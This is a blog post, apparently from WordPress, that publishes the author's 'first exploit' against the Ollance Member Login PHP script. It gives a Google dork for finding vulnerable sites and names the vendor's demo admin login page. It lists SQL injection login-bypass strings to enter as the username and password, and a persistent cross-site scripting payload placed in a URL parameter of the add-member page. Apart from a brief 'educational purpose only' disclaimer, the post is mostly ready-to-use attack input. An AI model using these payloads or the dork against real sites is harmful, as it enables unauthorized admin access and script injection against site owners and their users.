Ollance login script Multiple Vulnerabilities

Hi guys, ch3ckout my 1st xploit. 😀
Disclaimer: Author is not responsible for any misuse of this thread.
It is for educational purpose only.

# Exploit Title: Ollance login script Multiple Vulnerabilities
#Vendor:  www.ollance.com
# Date: 1st july,2011
# Author: $#4d0\/\/[r007k17] a.k.a Raghavendra Karthik D(karthikaryabhat@gmail.com),

#Google Dork: Powered by Ollance Member Login Script

*****************************Ollance Member Login is a PHP membership management system. Your clients can access your products through client area which is protected by password. You can easy to create and manage your clients as well as protected directories. Ollance Member Login is your solution if you have a subscription service or providing downloadable products or even you want to make secure system for your members.Ollance Member Login uses PHP and MySQL for lightning fast processing. It comes with a control panel that enables an administrator to create new user accounts and new secured access areas, as well as manage user accounts, send emails to members, and more. Ollance Member Login assists administrators in handling these features with ease.

In short, Ollance Member Login offers a quick, easy, reliable way to provide comprehensive gate keeping for any site that meets the system requirements, so that web visitors must be authorized before entering that site’s secured areas


(Auth ByPass) SQLi Vulnerability
{DEMO} : demo.ollance.com/php-member-login/admin/login.php

EXPLOIT 1:  Username:  admin’ or’1=1
password:   admin’ or’1=1

or Username: ‘ or 0=0 #
Password: ‘ or 0=0 #
Observe: Attackers can use Authentication Bypass to get into Admin Panel in the site.

Persistent XSS Vulnerability
EXPLOIT 2: Persistent XSS Vulnerability in add member in admin panel

{Demo}:  demo.ollance.com/php-member-login/admin/add_member.php?msg=“>><marquee><h1>$#4|)0\/\/</h1><marquee>

Observe: A persistent cross-site scripting vulnerability in Ollance login Script can be exploited to execute arbitrary JavaScript.

sp3c14l Thanks to s1d3 effects and my friends@!3.14–


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s

%d bloggers like this: